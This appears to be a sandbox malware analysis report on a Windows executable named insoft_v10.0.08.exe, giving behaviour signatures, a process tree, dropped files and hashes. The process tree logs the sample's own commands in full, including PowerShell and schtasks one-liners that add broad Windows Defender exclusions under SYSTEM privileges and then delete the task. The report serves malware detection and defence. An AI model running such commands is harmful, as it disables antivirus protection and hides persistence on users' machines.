Overview

overview

10

Static

static

3

insoft_v10.0.08.exe

windows10-2004-x64

10

insoft_v10.0.08.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    145s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/08/2026, 08:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    insoft_v10.0.08.exe
  • Size 35.0MB
  • Sample260816-khdmsacc77
  • SHA256 580568805466c133184464cd605fcccf72e6f222a840205b7c195d79688d739e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasionexecutionpersistence

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Drops file in System32 directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.08.exe
    "C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.08.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4316
  • C:\Users\Public\QjL2R0\mjb9gM.exe
    "C:\Users\Public\QjL2R0\mjb9gM.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:6036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2116
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QjL2R0\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:1176
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QjL2R0\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2428
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1344
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4648
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:612
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2852
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4608
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:416
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:1240
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2008
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:5188
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1080
          • C:\Users\Public\QjL2R0\mjb9gM.exe
            "C:\Users\Public\QjL2R0\mjb9gM.exe"
            1⤵
              PID:6052
            • C:\Windows\system32\cmd.exe
              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QjL2R0" /t REG_DWORD /d 0 /f
              1⤵
              • Executes a command shell one-liner
              PID:5720
            • C:\Windows\system32\cmd.exe
              cmd.exe
              1⤵
                PID:5776

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    UxEnhance64.dll
                    • Path C:\Users\Public\QjL2R0\UxEnhance64.dll
                    • Size 3.1MB
                    • SHA256 50db3d34dafed48ba6c298a717c3df8646d0c0017e814b788b67f6408148effe
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    adoresd.dat
                    • Path C:\Users\Public\QjL2R0\adoresd.dat
                    • Size 4.7MB
                    • SHA256 c8b67c58a59710191c84bd0f47b84a13fe3b525cf54e578ef3767fbfc85e4ed7
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    mjb9gM.exe
                    • Path C:\Users\Public\QjL2R0\mjb9gM.exe
                    • Size 135KB
                    • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    msadox.tb
                    • Path C:\Users\Public\QjL2R0\msadox.tb
                    • Size 8KB
                    • SHA256 4350374988d2b4294106ce8caa422fb00db808ce779ce79f19c3ef16b7e80cc2
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    memory/4316-1-0x00000000004A0000-0x00000000004AC000-memory.dmp
                    Download

                    memory/4316-503-0x00007FFB2BF00000-0x00007FFB2BF12000-memory.dmp
                    Download

                    memory/4316-525-0x0000000000490000-0x000000000049E000-memory.dmp
                    Download

                    memory/4316-526-0x00007FFB2BF00000-0x00007FFB2BF12000-memory.dmp
                    Download

                    memory/4316-0-0x0000000000490000-0x000000000049E000-memory.dmp
                    Download

                    memory/6036-551-0x000001D7B5CA0000-0x000001D7B6527000-memory.dmp
                    Download

                    memory/6036-562-0x000001D7B65C0000-0x000001D7B664A000-memory.dmp
                    Download

                    memory/6036-537-0x000001D7B5CA0000-0x000001D7B6527000-memory.dmp
                    Download

                    memory/6036-539-0x00007FFB3BFE0000-0x00007FFB3BFE2000-memory.dmp
                    Download

                    memory/6036-540-0x000001D7B5CA0000-0x000001D7B6527000-memory.dmp
                    Download

                    memory/6036-544-0x000001D7B5CA0000-0x000001D7B6527000-memory.dmp
                    Download

                    memory/6036-545-0x000001D7B5CA0000-0x000001D7B6527000-memory.dmp
                    Download

                    memory/6036-546-0x000001D7B5CA0000-0x000001D7B6527000-memory.dmp
                    Download

                    memory/6036-547-0x000001D7B5CA0000-0x000001D7B6527000-memory.dmp
                    Download

                    memory/6036-531-0x00007FFB3BFD0000-0x00007FFB3BFD2000-memory.dmp
                    Download

                    memory/6036-557-0x000001D7B5250000-0x000001D7B529E000-memory.dmp
                    Download

                    memory/6036-561-0x000001D7B65C0000-0x000001D7B664A000-memory.dmp
                    Download

                    memory/6036-560-0x000001D7B65C0000-0x000001D7B664A000-memory.dmp
                    Download

                    memory/6036-532-0x00007FFB196D0000-0x00007FFB19BEE000-memory.dmp
                    Download

                    memory/6036-558-0x000001D7B65C0000-0x000001D7B664A000-memory.dmp
                    Download

                    memory/6036-564-0x000001D7B5CA0000-0x000001D7B6527000-memory.dmp
                    Download

                    memory/6036-566-0x000001D7B5CA0000-0x000001D7B6527000-memory.dmp
                    Download

                    memory/6036-567-0x000001D7B5CA0000-0x000001D7B6527000-memory.dmp
                    Download

                    memory/6052-574-0x00007FFB196D0000-0x00007FFB19BEE000-memory.dmp
                    Download

                    memory/6052-577-0x000001CBAFC90000-0x000001CBB0517000-memory.dmp
                    Download

                    memory/6052-579-0x00007FFB3BFE0000-0x00007FFB3BFE2000-memory.dmp
                    Download

                    memory/6052-584-0x000001CBAFC90000-0x000001CBB0517000-memory.dmp
                    Download

                    memory/6052-588-0x00007FFB3BFD0000-0x00007FFB3BFD2000-memory.dmp
                    Download

                    memory/6052-586-0x000001CBAFC90000-0x000001CBB0517000-memory.dmp
                    Download

                    memory/6052-587-0x000001CBAFC90000-0x000001CBB0517000-memory.dmp
                    Download

                    memory/6052-585-0x000001CBAFC90000-0x000001CBB0517000-memory.dmp
                    Download

                    memory/6052-580-0x000001CBAFC90000-0x000001CBB0517000-memory.dmp
                    Download